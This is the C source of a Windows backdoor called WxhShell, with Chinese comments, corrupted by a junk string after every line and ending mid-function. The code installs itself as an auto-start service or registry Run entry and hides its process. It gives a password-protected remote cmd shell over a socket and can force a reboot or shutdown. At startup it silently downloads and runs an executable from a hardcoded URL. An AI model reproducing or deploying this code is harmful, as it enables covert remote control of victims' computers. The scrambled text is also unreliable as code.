    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pJ ?~fp  
    else { >"Q@bQ:e  
    closesocket(wsh); t+Op@*#%  
    ExitThread(0); }6 K^`!  
    } ~@kU3ZGJZ  
    break; oHs2L-G  
    } .$#rV?7  
  // 获取shell x|{IwA9  
  case 's': { G}9=)  
    CmdShell(wsh); n#iwb0-  
    closesocket(wsh); 1 `KN]Nt  
    ExitThread(0); D0BI5q  
    break; 5y?-fT]X  
  } Q3"} Hl2  
  // 退出 CA +uKM^"6  
  case 'x': { %8~3M75$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q~Z=(rP20  
    CloseIt(wsh); Vrvic4  
    break; 5[Pr|AY  
    } l{D'uI[&  
  // 离开 M2U&?V C!  
  case 'q': { rLX4jT^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *cO sv  
    closesocket(wsh); j+HHQd7Y  
    WSACleanup(); L;od6<.*m  
    exit(1); @&}q} D  
    break; Vi$-Bw$@  
        } pBw0"ff  
  } S~Id5T:,  
  } ~ Uo)0  
]Ta N{"  
  // 提示信息 K!KMQr`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n!qV>k9Y  
}  H}:LQ~_2  
  } 4WB-Ec  
[= |jZVhT  
  return; b pv= %  
} m:hY`[ f6  
''|#cEc)  
// shell模块句柄 C2{lf^9:&  
int CmdShell(SOCKET sock) KOwOIDt  
{ pn*3\  
STARTUPINFO si; Q#EP|  
ZeroMemory(&si,sizeof(si)); Sv;_HZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m%PC8bf`S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l|hUw  
PROCESS_INFORMATION ProcessInfo; |{@FMxn|q  
char cmdline[]="cmd"; q=lAb\i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vpU#xm.K  
  return 0; ?^j^K-rx  
} $u/E\l  
+NFzSal  
// 自身启动模式 z ;u  
int StartFromService(void) S'HnBn /  
{ rhL"i^  
typedef struct 'L{8@gq i  
{ hTbI -u7BF  
  DWORD ExitStatus; |_ G )qp;  
  DWORD PebBaseAddress; DvM5 k  
  DWORD AffinityMask; ,y%3mR_~  
  DWORD BasePriority; oc^Br~ Th  
  ULONG UniqueProcessId; !!o8N<NU  
  ULONG InheritedFromUniqueProcessId; HD N9.5 S  
}   PROCESS_BASIC_INFORMATION; =f(cH152T  
X<R?uI?L  
PROCNTQSIP NtQueryInformationProcess; wd/< 8>2X  
yObuWDA9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s#uJ ;G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2c/Ys4/H4]  
|7#[ (%D!  
  HANDLE             hProcess; b$eXFi/  
  PROCESS_BASIC_INFORMATION pbi; 1EyL#;k  
[{r}u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U?!>Nd  
  if(NULL == hInst ) return 0; R=T qj,6  
?h!i0Rsm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dik9 >*"|o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IuZ) [*W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fo4.JyBk  
X";@T.ZGut  
  if (!NtQueryInformationProcess) return 0; Gy[O)PEEh  
XW?b\!@ $  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'Z`$n8  
  if(!hProcess) return 0; ;sch>2&ZWU  
3 v")J*t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #oJ5k8Wy  
F:#J:x'  
  CloseHandle(hProcess); p!/[K6u  
7#<c>~   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %okzOKKX  
if(hProcess==NULL) return 0; +I>p !v  
_ %%Z6x(  
HMODULE hMod; dCu'>G\bP  
char procName[255]; fw;rbP!  
unsigned long cbNeeded; [&*6_q"V  
p N\Vr8tJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LJVG~Yeo  
P_u|-~|\  
  CloseHandle(hProcess); wDwH.~3!  
tb?YLxMV  
if(strstr(procName,"services")) return 1; // 以服务启动 kbPE "urR  
@t1V o}c  
  return 0; // 注册表启动 TPE:e)GO  
} NU (AEfF  
$0^P0RAH  
// 主模块 I\ | N  
int StartWxhshell(LPSTR lpCmdLine) { BEo &  
{ {RB-lfrWs  
  SOCKET wsl; h3gWOU  
BOOL val=TRUE; _8G>&K3T<  
  int port=0; !jqWwi  
  struct sockaddr_in door; )IT6vU"-yd  
YK{a  
  if(wscfg.ws_autoins) Install(); (5^ZlOk3  
f f7(  
port=atoi(lpCmdLine); ]S 7^ITn  
1nPZ<^A&@  
if(port<=0) port=wscfg.ws_port; w{ `|N$  
#0;HOeIiH  
  WSADATA data; j8 C8X$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _#o' +_Z  
}1-I[q6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z<]bv7V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X5 ITF)&  
  door.sin_family = AF_INET; ^/Sh=4=G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CVXytS?@x  
  door.sin_port = htons(port); #=}$OFg  
&W }<:WH~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  uIMe  
closesocket(wsl); 9N[EZhW  
return 1; `B8tmW#  
} nT#JOmv  
x|eeRf|  
  if(listen(wsl,2) == INVALID_SOCKET) { s~26  
closesocket(wsl); +CM7C%U   
return 1; Lv1{k\aw  
} #pdUJ2)yM  
  Wxhshell(wsl); W 4YE~  
  WSACleanup(); GD-&_6a  
/NF#+bx  
return 0; P%X-@0)  
_x1EZ&dh  
} q6`G I6  
8O1K[sEjui  
// 以NT服务方式启动 H^1gy=kdj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7 gB{In0  
{ /)uM[ dnai  
DWORD   status = 0; NE|[o0On  
  DWORD   specificError = 0xfffffff; 0=v{RQ;W4  
*Dr5O9Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !.fw,!}hOD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `"k9wC1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6@4n'w{"  
  serviceStatus.dwWin32ExitCode     = 0; `#IcxweA  
  serviceStatus.dwServiceSpecificExitCode = 0; |dadH7  
  serviceStatus.dwCheckPoint       = 0; V:bV ?lt  
  serviceStatus.dwWaitHint       = 0; |Y_ -  
`0#H]=$2h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :46h+?   
  if (hServiceStatusHandle==0) return; 0_eQlatb  
|)_-Bi;MW`  
status = GetLastError(); :u%$0p>  
  if (status!=NO_ERROR) >CgO<\  
{ \|Dei);k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GO5~!g  
    serviceStatus.dwCheckPoint       = 0; _>bRv+RVR  
    serviceStatus.dwWaitHint       = 0; TA}UY7v  
    serviceStatus.dwWin32ExitCode     = status; >Cd9fJ&0gP  
    serviceStatus.dwServiceSpecificExitCode = specificError; + C7T]&5s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1K|@ h&@  
    return; g?q KNY  
  } %Ny) ?B  
FuP/tTMU1a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =?0QqCjK)  
  serviceStatus.dwCheckPoint       = 0; e9u@`ZC07  
  serviceStatus.dwWaitHint       = 0; dYOF2si~%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gp|1?L 54  
} i+M*J#'  
-.vDF?@G  
// 处理NT服务事件,比如:启动、停止 4f1D*id*`#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7el<5chZ  
{ X`20f1c6q>  
switch(fdwControl) |k-XBp  
{ YT2'!R 1  
case SERVICE_CONTROL_STOP: sM\&. <B  
  serviceStatus.dwWin32ExitCode = 0; lUh*?l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]T{E (9  
  serviceStatus.dwCheckPoint   = 0; ]"x\=A  
  serviceStatus.dwWaitHint     = 0; 9]_GNk-D  
  { |#5 e|z5(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |LYKc.xo  
  } |9NIGg'n  
  return; >mIg@knE  
case SERVICE_CONTROL_PAUSE: M/jb}*xDR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =L 0fZf  
  break; fU*C/ d3  
case SERVICE_CONTROL_CONTINUE: T'rjh"C&|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O25m k X  
  break; %]Cjhs"v  
case SERVICE_CONTROL_INTERROGATE: @sf 90&f  
  break; ]O!s 'lC  
}; fCEz-TMW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CD?&<NV  
} StQ@g  
QdDtvJLf  
// 标准应用程序主函数 ,# "(Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^Qh-(u`  
{ K=kH%ZK  
, Fytk34  
// 获取操作系统版本 EZ% .M*?  
OsIsNt=GetOsVer(); g_D-(J`IK,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s'2Rs^,hN  
S=R 3"~p  
  // 从命令行安装 lpEDPvD_Vm  
  if(strpbrk(lpCmdLine,"iI")) Install(); kHU"AD}.  
_Dq Qfc%  
  // 下载执行文件 !7` [i  
if(wscfg.ws_downexe) { _p4}<pG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Kd{#r/HZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); tjb/[RQ  
} <%,'$^'DS  
3&J&^O  
if(!OsIsNt) { ?6:cNdN  
// 如果时win9x,隐藏进程并且设置为注册表启动 Fd !iQ  
HideProc(); >rRf9wO1l  
StartWxhshell(lpCmdLine); H%.zXQ4}n  
} |[w^eg  
else ^HFo3V }h  
  if(StartFromService()) iK x+6v  
  // 以服务方式启动 DPPS?~Pq  
  StartServiceCtrlDispatcher(DispatchTable); dM|g`rr E  
else B8 2,.?  
  // 普通方式启动 uZ[/%GTX{)  
  StartWxhshell(lpCmdLine); Oc-u=K,B  
ze"~Ird  
return 0; L[]^{ O   
} a @SUi~+3  
2NR7V*A  
rsSue_Q  
g3a/;wl  
=========================================== Qu_EfmN|  
/oDpgOn  
9qeZb%r&  
"8t\MKt(  
J8h7e}n?  
B "n`|;r5  
" rU*q@y Px  
9UmBm#"  
#include <stdio.h> Y2vj}9jK  
#include <string.h> e-!?[Ujv*%  
#include <windows.h> "w^Nu6  
#include <winsock2.h> & >b+loF  
#include <winsvc.h> _sm;HH7'*  
#include <urlmon.h> 4Bo<4 4-,  
104!!m  
#pragma comment (lib, "Ws2_32.lib") #L1>dHhat  
#pragma comment (lib, "urlmon.lib") < %rh/r  
Z3 n~&!  
#define MAX_USER   100 // 最大客户端连接数 V#H8d_V  
#define BUF_SOCK   200 // sock buffer f#mx:Q.7I  
#define KEY_BUFF   255 // 输入 buffer a8NVLD>7}  
^+a  
#define REBOOT     0   // 重启 (. H ]|  
#define SHUTDOWN   1   // 关机 Gx;xj0-"  
uri*lC  
#define DEF_PORT   5000 // 监听端口 _jDS"  
tWRf'n[+]  
#define REG_LEN     16   // 注册表键长度 %ph"PR/t?  
#define SVC_LEN     80   // NT服务名长度 7%tR&F -u  
THr8o V5  
// 从dll定义API c'~[!,[b<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .S6ji~;r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CjmV+%b4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8qmknJC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (7 ijt  
@4@PuWI0-  
// wxhshell配置信息 <hMtE/05B  
struct WSCFG { #'c%  
  int ws_port;         // 监听端口 _2; ^v`[  
  char ws_passstr[REG_LEN]; // 口令 -+ko}He  
  int ws_autoins;       // 安装标记, 1=yes 0=no }Qb';-+;d  
  char ws_regname[REG_LEN]; // 注册表键名 ;fkSrdj  
  char ws_svcname[REG_LEN]; // 服务名 9IOGc}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F1\`l{B,\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &! OGIYC(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qlEFJ5;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E{I) ]h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y,^";7U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1h{>[ 'L  
\"J?@  
}; (`F|nG=X  
jF4csO=E  
// default Wxhshell configuration |""=)-5N  
struct WSCFG wscfg={DEF_PORT, ?'Oj=k"c7  
    "xuhuanlingzhe", QjqBO+  
    1, hXPocP  
    "Wxhshell", #_{0Ndp2  
    "Wxhshell", tw-fAMwU  
            "WxhShell Service", yT&x`3f"i  
    "Wrsky Windows CmdShell Service", htV#5SUx&  
    "Please Input Your Password: ", ]2LXUYB  
  1, OZa88&  
  "http://www.wrsky.com/wxhshell.exe", ] ZDTn  
  "Wxhshell.exe" #>" }q3RO  
    }; 2Gm-\o&Td"  
[u7 vY@  
// 消息定义模块 PqVW'FYe  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y>G*'[U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; / =-6:L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q[Vi[b^F  
char *msg_ws_ext="\n\rExit."; }2h't.Z<u  
char *msg_ws_end="\n\rQuit."; k)|'JDm  
char *msg_ws_boot="\n\rReboot..."; ZWFG?8lJ  
char *msg_ws_poff="\n\rShutdown..."; #n=A)#'my  
char *msg_ws_down="\n\rSave to "; [f=.!\0\  
MSK'2+1T@g  
char *msg_ws_err="\n\rErr!"; yAAG2c4(  
char *msg_ws_ok="\n\rOK!"; kq>GMUl~@  
](_{,P  
char ExeFile[MAX_PATH]; Ny.*G@&  
int nUser = 0; _yNT=#/  
HANDLE handles[MAX_USER]; LSSW.Oz2L  
int OsIsNt; %V31B\]Nz7  
r?>Vx -  
SERVICE_STATUS       serviceStatus;  gm(De9u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'YBi5_  
|PI)A`  
// 函数声明 =l_rAj~I|  
int Install(void); Zd8drT'@#  
int Uninstall(void); -% >8.#~G  
int DownloadFile(char *sURL, SOCKET wsh); sr;:Dvx~  
int Boot(int flag); Y~:}l9Qs  
void HideProc(void); B;SzuCW  
int GetOsVer(void); 3mk=ZWwv  
int Wxhshell(SOCKET wsl); Ap% d<\,Z  
void TalkWithClient(void *cs); 8^8>qSD1  
int CmdShell(SOCKET sock); A%h~Z a  
int StartFromService(void); ]7v81G5E  
int StartWxhshell(LPSTR lpCmdLine); Wgav>7!9  
ax4*xxU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O+p]3u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MF&3e#mdB  
>_-!zjO8u  
// 数据结构和表定义 ``+c`F?5  
SERVICE_TABLE_ENTRY DispatchTable[] = cES;bwQ  
{ $p jf#P8U  
{wscfg.ws_svcname, NTServiceMain}, TH<fbd  
{NULL, NULL} `b#/[3  
}; `'*F 1F  
2H[=l Y  
// 自我安装 D!X>O}  
int Install(void) "Ys_ \  
{ $4DFgvy$  
  char svExeFile[MAX_PATH]; Vu_&~z7h  
  HKEY key; Z "-ntx#  
  strcpy(svExeFile,ExeFile); 4pLQ"&>}80  
f( ]R/'o  
// 如果是win9x系统,修改注册表设为自启动 @55bE\E?@  
if(!OsIsNt) { ^I@ey*$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]Mn&76 fu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `<S/?I8  
  RegCloseKey(key); wu;7NatHx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +d@v AxP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); giaD9$C  
  RegCloseKey(key); ?hxK/%)  
  return 0; lr`?yn1D(  
    } r4 9UJE  
  } ?6 8$3;  
} wDB)&b  
else { |~z8<  
+xn&K"]:3  
// 如果是NT以上系统,安装为系统服务 chKF6n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Uy(vELB  
if (schSCManager!=0) 6lN?)<uQ  
{ GEhdk]<a7  
  SC_HANDLE schService = CreateService M_qP!+Y  
  ( =>HIF#jU  
  schSCManager, #D/$6ah~m  
  wscfg.ws_svcname, 's=Q.s  
  wscfg.ws_svcdisp, `kqT{fs  
  SERVICE_ALL_ACCESS, {'h)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tU9rCL:P  
  SERVICE_AUTO_START, /uC+.B9k  
  SERVICE_ERROR_NORMAL, ^:qpa5^"  
  svExeFile, X QI.0L"  
  NULL, dK:l&R  
  NULL, | \Ab L!u  
  NULL, R"m.&%n  
  NULL, 'wCS6_K  
  NULL -$AjD?;   
  ); 0\V\qAk  
  if (schService!=0) DfAiL(  
  { oN.Mra]D  
  CloseServiceHandle(schService); %2^['8t#NH  
  CloseServiceHandle(schSCManager); Bx\#`Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }W- K  
  strcat(svExeFile,wscfg.ws_svcname); p3V9ikyy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A28ZSL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @uQ%o%Ru6  
  RegCloseKey(key); r$b:1C~  
  return 0; !JT< (I2  
    } gUks O!7^1  
  } Rg%R/p)C  
  CloseServiceHandle(schSCManager); :`{9x%o;  
} *raIV]W3  
} fG u5%T,  
6&i[g  
return 1; K~7'@\2 ?  
} p +u{W"I`  
vN{vJlpY  
// 自我卸载 ] +}:VaeA  
int Uninstall(void) VFe-#"0ZO  
{ d[~au=b  
  HKEY key; ^JYF1   
#n U@hOfg  
if(!OsIsNt) { N%|^;4}k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fMWXo)rzj  
  RegDeleteValue(key,wscfg.ws_regname); (1j(* ?2  
  RegCloseKey(key); @/_XS4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hXV4$Dai  
  RegDeleteValue(key,wscfg.ws_regname); /V#MLPA  
  RegCloseKey(key); 5A0K V7N5  
  return 0; C!aX45eg  
  } D]t~S1ycG7  
} t:?<0yfp&  
} B| $\/xO  
else { H @3$1h&YS  
5O;/ lX!u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [i,5>YIk  
if (schSCManager!=0) )a4E&D  
{ ,U|u-.~ZU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D6C -x  
  if (schService!=0) Pur"9jHa4  
  { Hl%+F 0^?  
  if(DeleteService(schService)!=0) { -L^0-g  
  CloseServiceHandle(schService); Mft0D j/  
  CloseServiceHandle(schSCManager); 9`nP(~  
  return 0; *X-~TC0 [  
  } i~v@  
  CloseServiceHandle(schService); ,Ut!u)  
  } UD Iac;vT  
  CloseServiceHandle(schSCManager); {GGO')p  
} Y\Fuj)  
} !Szgph"ul  
Vp- n(Z  
return 1; 6E*Zj1KX  
} Q%gY.n{=  
~2, wI<Nz  
// 从指定url下载文件 Og&0Z)%  
int DownloadFile(char *sURL, SOCKET wsh) SdEb[  
{ [*mCa:^  
  HRESULT hr; rsIt~w  
char seps[]= "/"; ve64-D  
char *token; MkluK=$  
char *file; _umO)]Si  
char myURL[MAX_PATH]; 2vk8+LA(6  
char myFILE[MAX_PATH];  d'**wh,  
D_,_.C~O  
strcpy(myURL,sURL); yK @X^jf  
  token=strtok(myURL,seps); x~3>1Wr#M  
  while(token!=NULL) BIb{<tG^N  
  { "6[Ax{cM  
    file=token; KweHY,  
  token=strtok(NULL,seps); LyCV_6;D  
  } R'1vjDuv  
-\sKSY5{R  
GetCurrentDirectory(MAX_PATH,myFILE); ?j^?@%f0  
strcat(myFILE, "\\"); `*uuB;  
strcat(myFILE, file); _If@#WnoyA  
  send(wsh,myFILE,strlen(myFILE),0); ]R2Z-2  
send(wsh,"...",3,0); n WO~v{h3J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cwDD(j  
  if(hr==S_OK) eBLHT  
return 0; {~B4F}ES  
else TZ[F u{gZ  
return 1; c'wU O3S  
U4mh!  
} duiKFNYN  
c,[qjr#\>  
// 系统电源模块 G`3vH,  
int Boot(int flag) #h5Hi9LKf  
{ ]i_):@  
  HANDLE hToken; <R]Wy}2-  
  TOKEN_PRIVILEGES tkp; $F /p8AraK  
Y GcY2p<  
  if(OsIsNt) { Do{*cSd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tM?I()Y&P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FdK R{dX}  
    tkp.PrivilegeCount = 1; wTJMq`sY_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9g^./k\8%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N#xM_Mpt  
if(flag==REBOOT) { w4&v( m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .Q6{$Y%l  
  return 0; '!|E+P-  
} ZP G8q  
else { "78cl*sD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L>R!A3G1  
  return 0; 1{uDHB  
} b} q(YgH<  
  } V.OoZGE>]  
  else { Nr*ibtz|D  
if(flag==REBOOT) { y&O_Jyg<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d T0 z^SG  
  return 0; Zqe[2()  
} ph|2lLZ  
else { ph$&f0A6Xc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (x*2BEn|  
  return 0; 1>O0Iu  
} "~,(Xa3x  
} f*R_\  
G%x,t -  
return 1; ,~68~_)  
}   !AD,  
a1Y_0  
// win9x进程隐藏模块 @+Anv~B.  
void HideProc(void) W3{5Do.h  
{ oR%E_g?mI~  
k3htHCf*G$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zj$Z%|@$  
  if ( hKernel != NULL ) a0v1LT6  
  { R/KWl^oNj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -:1Gr8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w]}cB+C+l#  
    FreeLibrary(hKernel); JeSkNs|vB  
  } 5;KT-(q~  
;lPhSkD  
return; MrygEC 5  
} p44uozbK  
c=c.p i"s  
// 获取操作系统版本 OKNs ( H  
int GetOsVer(void) oz5lt4  
{ \=: g$_l  
  OSVERSIONINFO winfo; ;U:o'9^9T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zYl+BM-j,6  
  GetVersionEx(&winfo); +Y%I0.?&5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1oVDOo  
  return 1; uC$4TnoQx.  
  else {&AT}7  
  return 0; xN~<<PIZ  
} b|pNc'u:Cn  
dIh(~KqB  
// 客户端句柄模块 :$@zX]?M  
int Wxhshell(SOCKET wsl) uX 5B>32  
{ uZ{xt6 f  
  SOCKET wsh; @RG3*3(  
  struct sockaddr_in client; 9~ .BH;ku  
  DWORD myID; Ra,on&OP`*  
Y&Nv>o_}5  
  while(nUser<MAX_USER) a/xCl :=8q  
{ o~z.7q  
  int nSize=sizeof(client); '{_tDboY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AT8,9  
  if(wsh==INVALID_SOCKET) return 1; zqEZ+|c=  
jI pcMN<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6(;[ov1  
if(handles[nUser]==0) p<.!::*%(  
  closesocket(wsh); OaVL NA^{  
else \$++.%0  
  nUser++; _rWXcK3cjr  
  } tbt9V2U:"n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _3?xIT  
:zTj"P>"I  
  return 0; H H7 gT  
} cyn]>1ZM  
JSP8Lu"n  
// 关闭 socket >L3p qK   
void CloseIt(SOCKET wsh) 7PPsEU:rf  
{ 6I'V XdeN  
closesocket(wsh); uqH! eN5  
nUser--; {:!SH6 ff  
ExitThread(0); U%6lYna{M#  
} TuPxyB  
u(Q(UuI  
// 客户端请求句柄 _!T$|,a  
void TalkWithClient(void *cs) p5 PON0dS  
{ Z-=7QK.\{  
7VD7di=D  
  SOCKET wsh=(SOCKET)cs; +.Ukzu~s  
  char pwd[SVC_LEN]; P>cJ~F M  
  char cmd[KEY_BUFF]; Lgw@y!Llij  
char chr[1]; o`]FH _  
int i,j; +Gs;3jC^  
m^&mCo,  
  while (nUser < MAX_USER) { *^m.V=  
Gf$>!zXr  
if(wscfg.ws_passstr) { ojI"<Q~g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v*p)"J *  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tz> X'L  
  //ZeroMemory(pwd,KEY_BUFF); 0{@Ovc  
      i=0; y")>"8H  
  while(i<SVC_LEN) { G&B}jj  
X%qR6mMfT7  
  // 设置超时 x{w?X.Nt  
  fd_set FdRead; ph.:~n>z  
  struct timeval TimeOut; Rf$6}F  
  FD_ZERO(&FdRead); eHZl-|-  
  FD_SET(wsh,&FdRead); ;( Va_   
  TimeOut.tv_sec=8; w9}IM149  
  TimeOut.tv_usec=0; W..>Ny;'3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3m9 E2R,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B}bNl 7 ~  
Cd*C^cJU&z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ) x $Vy=  
  pwd=chr[0]; YtKX\q^.  
  if(chr[0]==0xd || chr[0]==0xa) { f\_Q+!^  
  pwd=0; y(g Otg  
  break; -Q8`p  
  } Rla*hc~  
  i++; `t"Kq+  
    } &cejy>K  
?n~j2-[<  
  // 如果是非法用户,关闭 socket 6@36 1f[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u01^ABn  
} jYx(  
7q=xW6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :H k4i%hGk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2Nzcej  
1e%Xyqb  
while(1) { Vi~+C@96  
MH(g<4>*  
  ZeroMemory(cmd,KEY_BUFF); Y& %0 eI!  
UYLI>XSd  
      // 自动支持客户端 telnet标准   dXN&<Q,  
  j=0; ?XrTZ{5'  
  while(j<KEY_BUFF) { TUCp mj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2o}FB\4^i  
  cmd[j]=chr[0]; 2(xKE_|  
  if(chr[0]==0xa || chr[0]==0xd) { 5,fzB~$TX(  
  cmd[j]=0; b .@dUuKz-  
  break; K~N[^pF  
  } e;\c=J,eE  
  j++; mSp7H!  
    } B*Xh$R  
QR8 Q10  
  // 下载文件 !y0 O['7  
  if(strstr(cmd,"http://")) { b8Sl3F?-~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u>@G:kt8  
  if(DownloadFile(cmd,wsh)) %gB0D8,vo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %ua5T9H Z  
  else $^GnY7$!>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8`<GplO  
  } Z k_&Kw|  
  else { $l0w{m!P  
EPfVS  
